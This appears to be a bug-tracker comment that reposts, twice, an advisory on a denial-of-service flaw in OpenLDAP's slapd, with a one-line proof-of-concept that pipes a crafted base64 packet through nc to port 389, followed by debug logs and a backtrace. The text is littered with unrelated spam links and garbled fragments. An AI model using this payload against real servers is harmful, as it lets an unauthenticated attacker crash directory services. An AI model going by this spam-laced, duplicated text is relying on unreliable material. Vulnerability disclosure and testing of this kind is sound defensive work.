2:43 a.m.
https://bugs.openldap.org/show_bug.cgi?id=9202
--- Comment #10 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42
+-------------+
| Description |
+-------------+
This document details http://www-look-4.com/ a vulnerability found within the
OpenLDAP server daemon. A
Denial of Service vulnerability was discovered within the slapd daemon,
allowing
an unauthenticated attacker to crash the OpenLDAP server.
http://www.compilatori.com/
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository. http://www.wearelondonmade.com/
+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP
http://www.jopspeech.com/ daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data.
The following proof of concept exploit can be used to trigger the condition:
http://joerg.li/
--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode. http://connstr.net/
--[ adadp -d3
55f0b36e slap_listener_activate(7):
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
http://embermanchester.uk/
ber_get_next
ldap_read: want=8, got=8
0000: ff 84 84 84 84 84 77 83 ......w.
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next http://www.slipstone.co.uk/
ldap_read: want=1, got=1
0000: 0a .
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed. http://www.logoarts.co.uk/
The following GDB back trace provides further information as to the location of
the issue.
--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)] http://www.acpirateradio.co.uk/
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
https://waytowhatsnext.com/
OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42
+-------------+
| Description |
+-------------+
This document details a vulnerability found within the OpenLDAP server daemon.
A
Denial of Service vulnerability was discovered within the slapd daemon,
allowing
an unauthenticated attacker to crash the OpenLDAP server.
https://www.webb-dev.co.uk/
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository.
+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data.
The following proof of concept exploit can be used to trigger the condition:
http://www.iu-bloomington.com/
--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode.
--[ adadp -d3
55f0b36e slap_listener_activate(7):
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=8, got=8
0000: ff 84 84 84 84 84 77 83 ......w.
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=1, got=1
0000: 0a .
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed.
The following GDB back trace provides further information as to the location of
the issue.
--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)]
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
--
You are receiving this mail because:
You are on the CC list for the issue.